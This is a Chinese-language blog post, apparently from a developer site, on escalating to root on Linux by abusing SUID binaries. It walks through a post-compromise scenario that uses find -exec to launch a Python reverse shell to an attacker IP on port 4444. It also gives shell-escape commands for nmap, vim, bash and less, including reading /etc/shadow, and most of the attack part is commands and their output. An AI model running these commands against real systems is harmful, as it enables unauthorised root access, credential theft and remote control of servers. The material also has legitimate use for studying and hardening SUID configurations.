关于SUID详细:Linux下的用户、组和权限
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami \;
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
Nmap
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
1
|
nmap -V |
为了启动交互模式,可以使用Nmap参数“interactive”。
以下命令将提供一个提权后的shell
1
2
3
|
nmap> !sh sh-3.2 # whoami root |
Vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
1
|
vim.tiny /etc/shadow |
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
1
2
3
4
|
vim.tiny # Press ESC key : set shell= /bin/sh :shell |
Bash
以下命令将以root身份打开一个bash shell
1
2
3
|
bash -p bash -3.2 # id uid=1002(service) gid=1002(service) euid=0(root) groups =1002(service) |
Less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
1
2
|
less /etc/passwd ! /bin/sh |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统